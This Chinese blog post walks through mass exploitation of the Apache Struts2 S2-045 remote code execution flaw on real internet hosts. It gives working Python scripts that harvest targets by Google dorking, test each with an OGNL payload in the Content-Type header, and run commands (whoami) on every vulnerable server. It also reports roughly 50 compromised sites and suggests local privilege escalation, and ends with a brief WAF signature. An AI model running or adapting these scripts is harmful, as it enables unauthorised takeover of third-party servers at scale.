欢迎来到【血梦博客】 今天是:2020年10月25日 星期日
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> 批量S2-045漏洞检测及利用

批量S2-045漏洞检测及利用

作者:血梦 日期:2017-03-13 浏览:5075分类: 渗透测试 已提交百度收录

前言

S2-045远程代码执行漏洞的CNVD详细信息:http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474漏洞刚出现时候,Google随便搜索相关URL(filetype:action||ext:action),利用后发现有很多甚者使用ROOT用户启动Tomcat,啧啧啧。。。

目前,很多公司已经紧锣旗鼓地修复了漏洞,尽管如此,互联网上还是有大批未修复的目标。。。可能感觉无所谓吧

批量S2-045用python 2.7实现,代码共分三部分,比较糙,多指正。 

第一部分:从Google批量抓取目标URL;

第二部分:验证筛选存在漏洞的URL;

第三部分:远程命令执行

一、Google抓取URL

目标URL抓取,可能会被Google限制抓取次数,若有IP资源,可以不断更换代理、多线程抓取。

—keywords文件—–>抓取关键词,例如:filetype:action、ext:action

—urser-agent文件—–>随机ua抓取

—urlresult文件—–>存储抓取的url

#!/usr/bin/python # -*- coding: utf-8 -*- # Create by Meibenjin. # Modified by William # Last updated: 2017-03-10 # google search results crawler import sys import urllib2, socket, time import gzip, StringIO import re, random, types from bs4 import BeautifulSoup

base_url = 'https://www.google.com.hk/' results_per_page = 10 user_agents = list() # results from the search engine class SearchResult: def __init__(self): self.url = '' def getURL(self): return self.url def setURL(self, url): self.url = url def printIt(self, prefix=''): print 'url\t->', self.url def writeFile(self, filename): file = open(filename, 'a') try:
            file.write(self.url + '\n') except IOError, e: print 'file error:', e finally:
            file.close() class GoogleAPI: def __init__(self): timeout = 40 socket.setdefaulttimeout(timeout) def randomSleep(self): sleeptime = random.randint(60, 120)
        time.sleep(sleeptime) # extract a url from a link def extractUrl(self, href): url = '' pattern = re.compile(r'(http[s]?://[^&]+)&', re.U | re.M)
        url_match = pattern.search(href) if (url_match and url_match.lastindex > 0):
            url = url_match.group(1) return url # extract serach results list from downloaded html file def extractSearchResults(self, html): results = list()
        soup = BeautifulSoup(html, "html.parser")
        div = soup.find('div', id='search') if (type(div) != types.NoneType): #modify 'li' to 'div' lis = div.findAll('div', {'class': 'g'}) if (len(lis) > 0): for li in lis:
                    result = SearchResult()
                    h3 = li.find('h3', {'class': 'r'}) if (type(h3) == types.NoneType): continue # extract url from h3 object link = h3.find('a') if (type(link) == types.NoneType): continue url = link['href']
                    url = self.extractUrl(url) if (cmp(url, '') == 0): continue result.setURL(url)
                    results.append(result) return results # search web # @param query -> query key words # @param lang -> language of search results # @param num -> number of search results to return def search(self, query, lang='en', num=results_per_page): search_results = list()
        query = urllib2.quote(query) if (num % results_per_page == 0):
            pages = num / results_per_page else:
            pages = num / results_per_page + 1 for p in range(0, pages):
            start = p * results_per_page
            url = '%s/search?hl=%s&num=%d&start=%s&q=%s' % (base_url, lang, results_per_page, start, query)
            retry = 3 while (retry > 0): try:
                    request = urllib2.Request(url)
                    length = len(user_agents)
                    index = random.randint(0, length - 1)
                    user_agent = user_agents[index]
                    request.add_header('User-agent', user_agent)
                    request.add_header('connection', 'keep-alive')
                    request.add_header('Accept-Encoding', 'gzip')
                    request.add_header('referer', base_url)
                    response = urllib2.urlopen(request)
                    html = response.read() if (response.headers.get('content-encoding', None) == 'gzip'):
                        html = gzip.GzipFile(fileobj=StringIO.StringIO(html)).read()
                    results = self.extractSearchResults(html)
                    search_results.extend(results) break; except urllib2.URLError, e: print 'url error:', e
                    self.randomSleep()
                    retry = retry - 1 continue except Exception, e: print 'error:', e
                    retry = retry - 1 self.randomSleep() continue return search_results def load_user_agent(): fp = open('./user_agents', 'r')
    line = fp.readline().strip('\n') while (line):
        user_agents.append(line)
        line = fp.readline().strip('\n')
    fp.close() def crawler(): # Load use agent string from file load_user_agent() # Create a GoogleAPI instance api = GoogleAPI() # set expect search results to be crawled expect_num = 100 # if no parameters, read query keywords from file if (len(sys.argv) < 2):
        keywords = open('./keywords', 'r')
        keyword = keywords.readline() while (keyword):
            results = api.search(keyword, num=expect_num) for r in results:
                r.printIt()
                r.writeFile('urlresult')
            keyword = keywords.readline()
        keywords.close() else:
        keyword = sys.argv[1]
        results = api.search(keyword, num=expect_num) for r in results:
            r.printIt()
            r.writeFile('urlresult') if __name__ == '__main__':
    crawler() 

二、POC漏洞验证

验证是否有s2-045漏洞

—urlresult文件—–>已存储的抓取的url

—detectreslut文件—–>存储验证成功的url

# -*- coding: utf-8 -*- import urllib2

S2_045 = {"poc": "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('fuck')).(#o.close())}", "key": "fuck"} def poccheck(timeout): urls = open('../GoogleSearch/urlresult', 'r')
    detectresults = open('./detectresult', 'w') for url in urls.readlines():
        url = url.strip('\n')
        url = url.split('%3F', 1)[0]
        request = urllib2.Request(url)
        request.add_header("Content-Type", S2_045["poc"])
        request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0") try:
            res_html = urllib2.urlopen(request, timeout=timeout).read(204800) except Exception,e: print 'exception:'+url if S2_045['key'] in res_html: print S2_045['key']+':'+url
            detectresults.write(url+'\n')
    urls.close()
    detectresults.close() if __name__ == "__main__": print poccheck(10) 

三、远程命令执行

在已发现的具有漏洞的URL基础上,执行远程命令。

代码中执行whoami,有的已验证漏洞URL,远程命令执行会捕获异常或返回html页面,猜测目标structs2并未修复,只是在应用层的检测和响应做出防御。

—detectreslut文件—–>已存储的验证成功的url

—exploitresult文件—–>存储whoami执行结果

# -*- coding: utf-8 -*-  import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def exploit():
    urls = open('../S2045Detection/detectresult', 'r')
    exploitresults = open('./exploitresult', 'w') for url in urls.readlines():
        url = url.strip('\n')
        register_openers()
        datagen, header = multipart_encode({"image1": url})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"  header["Content-Type"]="%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+'whoami'+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"  request = urllib2.Request(url,datagen,headers=header) try:
            response = urllib2.urlopen(request, timeout=10)
            result = response.read(204800) except Exception, e: print 'exception:'+url else: if len(result) > 100: print 'html:'+url else: print result.strip('\n')+':'+ url
                exploitresults.write(result)
    urls.close()
    exploitresults.close() if __name__ == "__main__":
    exploit() 


结果:

抓取不到300个URL就被Google返回503状态码,可以考虑付费API、更换代理、多进程进一步改进效率。

小范围统计,约200个目标URL,返回50个具有漏洞的URL。

远程命令执行,部分成功结果如下图所示。

微信截图_20170313135941.png

对于Linux系统,即使为非root用户,但结合本地提权漏洞(例如 dirtycown 之类的内核漏洞,对于多说生产环境的server,多数没有被修复),危害甚大。

关于防护:

除了升级到要求的struct2框架版本外,可以考虑暂时设置WAF规则拦截攻击行为。

附:Imperva WAF拦截规则

 Signature Pattern: part="Content-Type", part="multipart/form-data", part="_memberAccess", rgxp="^Content-Type\s*:[^\x0A\x0D]*multipart\/form-data[^\x0A\x0D]*_memberAccess"  Protocols: http, https
 Search Signature In: Headers

referer:

https://github.com/meibenjin/GoogleSearchCrawler

https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/st2_eval.py

关灯